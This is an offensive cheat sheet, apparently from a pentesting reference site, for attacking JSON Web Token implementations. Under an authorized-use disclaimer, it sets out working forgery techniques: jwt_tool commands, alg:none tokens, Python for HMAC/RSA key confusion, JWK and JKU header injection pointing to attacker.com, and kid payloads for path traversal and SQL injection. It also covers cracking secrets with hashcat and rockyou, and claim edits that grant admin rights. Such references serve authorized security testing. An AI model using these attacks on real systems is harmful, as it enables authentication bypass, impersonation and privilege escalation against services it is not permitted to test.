JWT-ATTACKS
Authorized use only. Offensive reference for systems you own or are explicitly permitted to test. You are responsible for staying within the law.
Interactive tool: JWT Decoder & Analyzer
Attacks against JSON Web Tokens (JWT) — manipulation, forgery, and exploitation of common implementation flaws.
JWT STRUCTURE#
# Header.Payload.Signature (Base64URL encoded, dot-separated)
# Header (algorithm + type)
{"alg": "HS256", "typ": "JWT"}
# Payload (claims)
{"sub": "1234567890", "name": "John", "admin": false, "iat": 1516239022}
# Signature
HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)
# Decode (quick)
echo "eyJhb..." | base64 -d # Won't work (URL-safe base64)
echo "eyJhb..." | python3 -c "import sys,base64; print(base64.urlsafe_b64decode(sys.stdin.read()+'=='))"
JWT_TOOL INSTALLATION#
# jwt_tool by ticarpi git clone https://github.com/ticarpi/jwt_tool cd jwt_tool pip install -r requirements.txt # Usage python3 jwt_tool.py <JWT_TOKEN>
JWT_TOOL COMMANDS#
# Decode and display JWT python3 jwt_tool.py TOKEN # Tamper mode (interactive editing) python3 jwt_tool.py TOKEN -T # All known attacks (automated) python3 jwt_tool.py TOKEN -M at # All tests python3 jwt_tool.py TOKEN -M pb # Playbook mode # Specific attacks python3 jwt_tool.py TOKEN -X a # alg:none attack python3 jwt_tool.py TOKEN -X n # Null signature python3 jwt_tool.py TOKEN -X s # HMAC key confusion (RSA→HMAC) python3 jwt_tool.py TOKEN -X k # Key injection (jwk) python3 jwt_tool.py TOKEN -X ku # Key injection (jku) python3 jwt_tool.py TOKEN -X i # Inject inline JWKS # Crack HMAC secret python3 jwt_tool.py TOKEN -C -d wordlist.txt # Sign with known secret python3 jwt_tool.py TOKEN -S hs256 -p "secret" python3 jwt_tool.py TOKEN -S hs384 -p "secret" python3 jwt_tool.py TOKEN -S hs512 -p "secret" # Sign with RSA key python3 jwt_tool.py TOKEN -S rs256 -pr private.pem python3 jwt_tool.py TOKEN -S rs256 -pr private.pem -pc public.pem # Tamper specific claims python3 jwt_tool.py TOKEN -T -S hs256 -p "secret" # Then modify claims in interactive mode
ALGORITHM NONE ATTACK#
# Exploits: server doesn't validate algorithm field
# Change alg to "none" and remove signature
# Manual
# 1. Decode header, change "alg" to "none"
# 2. Modify payload as desired
# 3. Re-encode: base64url(header).base64url(payload).
# 4. Note trailing dot (empty signature)
# Variations
{"alg": "none"}
{"alg": "None"}
{"alg": "NONE"}
{"alg": "nOnE"}
{"alg": "noNe"}
# jwt_tool
python3 jwt_tool.py TOKEN -X a
# Python
import jwt
payload = {"sub": "admin", "admin": True}
token = jwt.encode(payload, key="", algorithm="none")
HMAC/RSA CONFUSION ATTACK (CVE-2016-10555)#
# Exploits: server uses RSA public key but accepts HMAC tokens
# Sign with HMAC using the RSA PUBLIC key as the HMAC secret
# 1. Obtain the server's RSA public key
# 2. Change alg from RS256 to HS256
# 3. Sign with the public key as HMAC secret
# jwt_tool
python3 jwt_tool.py TOKEN -X s -pk public.pem
# Python (PyJWT < 2.0 or with options)
import jwt
public_key = open('public.pem', 'r').read()
payload = {"sub": "admin", "admin": True}
token = jwt.encode(payload, public_key, algorithm='HS256')
# Finding public keys
- /.well-known/jwks.json
- /oauth/jwks
- /api/keys
- /openid-configuration
- SSL/TLS certificate public key
- X.509 certificates
- jwk header parameter
JWK HEADER INJECTION#
# Exploits: server trusts the JWK embedded in the token header
# Inject your own public key in the header, sign with matching private key
# 1. Generate RSA key pair
openssl genrsa -out private.pem 2048
openssl rsa -in private.pem -pubout -out public.pem
# 2. Convert public key to JWK format
# 3. Inject JWK into token header
{"alg": "RS256", "typ": "JWT", "jwk": {"kty": "RSA", "n": "...", "e": "AQAB"}}
# 4. Sign with your private key
# jwt_tool
python3 jwt_tool.py TOKEN -X k -pk private.pem
JKU HEADER INJECTION#
# Exploits: server fetches JWK Set from URL in jku header
# Point jku to your server hosting your public key
# 1. Generate key pair
# 2. Create JWKS file with your public key
# 3. Host JWKS on your server
# 4. Set jku header to your URL
{"alg": "RS256", "jku": "https://attacker.com/.well-known/jwks.json"}
# jwt_tool
python3 jwt_tool.py TOKEN -X ku -ju "https://attacker.com/jwks.json" -pr private.pem
KID PARAMETER INJECTION#
# kid (Key ID) specifies which key to use for verification
# Often used as file path or database lookup
# Directory traversal (read known file as key)
{"alg": "HS256", "kid": "../../dev/null"}
# Sign with empty string as secret (null file = empty content)
{"alg": "HS256", "kid": "/proc/sys/kernel/hostname"}
# Sign with hostname as secret
{"alg": "HS256", "kid": "../../etc/hostname"}
# Sign with known file content
# SQL injection via kid
{"alg": "HS256", "kid": "1' UNION SELECT 'attacker_secret' -- "}
# jwt_tool
python3 jwt_tool.py TOKEN -T
# Edit kid value interactively
BRUTE FORCE / DICTIONARY ATTACK#
# Crack weak HMAC secrets # jwt_tool python3 jwt_tool.py TOKEN -C -d /usr/share/wordlists/rockyou.txt # hashcat hashcat -m 16500 jwt_hash.txt wordlist.txt # Format: eyJhb...token_here # john the ripper john --wordlist=rockyou.txt jwt_hash.txt # Use jwt2john.py to convert token first # Common weak secrets secret, password, 123456, admin, key, test, default jwt_secret, token_secret, hmac_secret, my_secret
CLAIM MANIPULATION#
# Privilege escalation
{"admin": false} → {"admin": true}
{"role": "user"} → {"role": "admin"}
{"access": "read"} → {"access": "write"}
# User impersonation
{"sub": "user123"} → {"sub": "admin"}
{"uid": 1001} → {"uid": 1}
{"email": "user@"} → {"email": "admin@"}
# Expiration bypass
{"exp": 1700000000} → {"exp": 9999999999} # Far future
# Or remove exp claim entirely
# Audience/Issuer manipulation
{"iss": "legit.com"} → {"iss": "attacker.com"}
{"aud": "api"} → {"aud": "admin-api"}
COMMON VULNERABILITIES#
1. Algorithm None Server accepts unsigned tokens 2. HMAC/RSA Confusion RSA public key used as HMAC secret 3. Weak HMAC Secret Brute-forceable signing key 4. JWK/JKU Injection Server trusts embedded/remote keys 5. KID Injection Path traversal or SQLi via kid 6. Missing Expiration Tokens never expire 7. No Signature Check Server ignores signature entirely 8. Claim Not Validated Role/privilege claims not server-checked 9. Token Reuse Tokens valid after logout/revocation 10. Cross-Service Tokens Token from service A accepted by B
USEFUL ENDPOINTS#
/.well-known/jwks.json # Public keys /.well-known/openid-configuration # OpenID config /oauth/jwks # OAuth keys /api/v1/keys # API key endpoint /auth/keys # Auth keys /certs # Certificates
TESTING CHECKLIST#
[ ] Decode token and understand claims [ ] Try alg:none attack [ ] Try HMAC/RSA confusion (if RS256) [ ] Brute force HMAC secret [ ] Test claim manipulation (role, admin, sub) [ ] Try JWK/JKU header injection [ ] Test kid parameter injection [ ] Check token expiration handling [ ] Test token reuse after logout [ ] Verify signature is actually checked [ ] Check if refresh tokens are properly validated [ ] Test cross-origin token acceptance
TIPS#
- jwt_tool -M at runs all attacks automatically - Always decode the token first to understand the claims - Algorithm none is still found surprisingly often - Weak HMAC secrets are extremely common - JWK endpoints reveal which algorithms are expected - If RS256, try confusion attack with the public key - Kid injection is underexplored and often vulnerable - Check both access and refresh token security - Some implementations accept modified tokens with valid signatures - Burp Suite JWT extensions help with manual testing - CyberChef can decode JWT for quick inspection